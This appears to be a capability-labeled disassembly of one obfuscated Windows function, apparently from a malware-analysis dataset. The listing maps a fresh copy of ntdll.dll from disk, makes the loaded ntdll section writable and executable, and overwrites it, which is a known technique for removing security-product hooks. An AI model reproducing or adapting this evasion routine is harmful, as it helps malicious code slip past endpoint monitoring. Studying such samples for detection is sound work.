Function at 0x4013e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x50
mov eax, dword [0x47e2c0]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, 0x79d0a69e
jmp 0x401420
push dword [ebp - 0x48]
call ebx
mov eax, dword [ebp - 0x20]
push dword [eax]
call ebx
mov eax, dword [ebp - 0x24]
mov eax, 0x8827ff8f
nop word cs:[eax + eax]
cmp eax, 0xd7a0e151
jg 0x4014c0
cmp eax, 0xb01a0daf
jg 0x401510
cmp eax, 0x8aa48733
jg 0x4015a0
cmp eax, 0x81df167f
je 0x40176f
cmp eax, 0x83b7d5e5
je 0x401782
cmp eax, 0x8827ff8f
jne 0x401420
push dword [ebp - 0x48]
call ebx
mov eax, dword [ebp - 0x20]
push dword [eax]
call ebx
mov edx, dword [0x480400]
mov ecx, dword [0x4803fc]
mov esi, 0xa6438110
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xb676bee8
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x24]
cmovge eax, edx
mov ecx, dword [ecx]
mov dword [ebp - 0x5c], ecx
jmp 0x401420
cmp eax, 0x330728c1
jle 0x401550
cmp eax, 0x538567f7
jg 0x4015cb
cmp eax, 0x330728c2
je 0x4017c5
cmp eax, 0x35a7fe5e
je 0x4017d9
cmp eax, 0x3d990f4b
jne 0x401420
mov eax, dword [ebp - 0x1c]
movzx eax, word [eax]
inc eax
mov word [ebp - 0x42], ax
mov eax, 0x330728c2
jmp 0x401420
cmp eax, 0xb2cd7984
jle 0x4016fb
cmp eax, 0xb2cd7985
je 0x4017e6
cmp eax, 0xb676bee8
je 0x401400
cmp eax, 0xca58b57e
jne 0x401420
mov eax, dword [ebp - 0x1c]
mov eax, 0xb2cd7985
jmp 0x401420
cmp eax, 0xb3538be
jle 0x40174f
cmp eax, 0xb3538bf
je 0x4017f0
cmp eax, 0xfa5fe51
je 0x401805
cmp eax, 0x27b79324
jne 0x401420
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov dword [ebp - 0x58], eax
mov eax, 0xd7a0e152
jmp 0x401420
cmp eax, 0x8aa48734
je 0x40181d
cmp eax, 0xa6438110
je 0x401833
cmp eax, 0xad1ce9d2
jne 0x401420
mov eax, 0xb17ef76c
jmp 0x401420
cmp eax, 0x538567f8
je 0x40183d
cmp eax, 0x63d3247b
je 0x401882
cmp eax, 0x79d0a69e
jne 0x401420
push eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [eax], 0
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov eax, dword [ebp - 0x34]
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov eax, dword [ebp - 0x34]
push 0xc
push dword [ebp - 0x30]
push dword [eax]
mov dword [ebp - 0x48], esi
push esi
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
sub esp, 0x1c
vmovaps xmm0, xmmword [0x458210]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp], str.c:windows_system32_ntdll.dll
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
sub esp, 0x18
vmovaps xmm0, xmmword [0x458220]
mov dword [esp], eax
mov dword [esp + 0x14], 0
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, 0x63d3247b
jmp 0x401420
cmp eax, 0xb0eb556c
je 0x4018e0
cmp eax, 0xb17ef76c
jne 0x4019b0
mov eax, dword [0x480400]
mov esi, 0x3aed80e
mov edi, 0xad1ce9d2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xad1ce9d2
sete cl
cmove eax, esi
cmp dword [0x4803fc], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, esi
jmp 0x401420
cmp eax, 0xd7a0e152
je 0x401926
cmp eax, 0x3aed80e
jne 0x401420
mov eax, 0x3d990f4b
jmp 0x401420
mov eax, dword [ebp - 0x1c]
movzx eax, word [eax]
mov dword [ebp - 0x4c], eax
mov eax, 0x8aa48734
jmp 0x401420
mov eax, dword [0x480400]
mov edi, 0x8827ff8f
mov esi, ebx
mov ebx, 0xb676bee8
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xb676bee8
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4803fc], 0xa
setl dl
cmovge eax, ebx
mov ebx, esi
xor dl, cl
cmovne eax, edi
jmp 0x401420
mov eax, dword [ebp - 0x1c]
movzx ecx, word [ebp - 0x42]
mov word [eax], cx
mov eax, 0x81df167f
jmp 0x401420
mov eax, dword [ebp - 0x14]
mov eax, 0x538567f8
jmp 0x401420
mov eax, 0x83b7d5e5
jmp 0x401420
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov eax, 0xb0eb556c
jmp 0x401420
mov eax, dword [ebp - 0x4c]
mov ecx, 0xb3538bf
cmp eax, dword [ebp - 0x50]
mov eax, 0xca58b57e
cmovl eax, ecx
jmp 0x401420
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov dword [ebp - 0x50], eax
mov eax, 0xfa5fe51
jmp 0x401420
mov eax, 0xb01a0db0
jmp 0x401420
mov edx, dword [0x480400]
mov ecx, dword [0x4803fc]
mov esi, 0xb17ef76c
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xad1ce9d2
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401420
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
sub esp, 0x14
vmovaps xmm0, xmmword [0x458200]
mov dword [esp], eax
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov word [eax], 0
mov eax, 0x81df167f
jmp 0x401420
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
mov edx, dword [ebp - 0x1c]
movzx edx, word [edx]
add ecx, eax
lea edx, [edx + edx*4]
lea eax, [ecx + edx*8 + 0x18]
mov edx, dword [ebp - 0x14]
mov dword [edx], eax
mov eax, dword [ebp - 0x14]
push 0x458288
push dword [eax]
call fcn.004405d0
add esp, 8
test eax, eax
mov eax, 0x35a7fe5e
mov ecx, 0x27b79324
cmove eax, ecx
jmp 0x401420
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
add eax, dword [ecx + 0xc]
push dword [ebp - 0x2c]
push 0x40
push dword [ebp - 0x58]
push eax
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
test eax, eax
mov eax, dword [ebp - 0x40]
setne byte [eax]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
add eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x14]
mov edx, dword [edx]
add ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0x14]
mov edx, dword [edx]
push dword [edx + 8]
push ecx
push eax
call fcn.0043cc50
add esp, 0xc
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx]
mov edi, dword [ebp - 0x14]
mov edi, dword [edi]
add edx, dword [edi + 0xc]
push dword [ebp - 0x2c]
push dword [eax]
push dword [ecx + 8]
push edx
call esi
test eax, eax
mov eax, dword [ebp - 0x40]
setne byte [eax]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
mov eax, 0x35a7fe5e
jmp 0x401420
cmp eax, 0xb01a0db0
jne 0x401420
push dword [ebp - 0x5c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x34]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00439dc0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret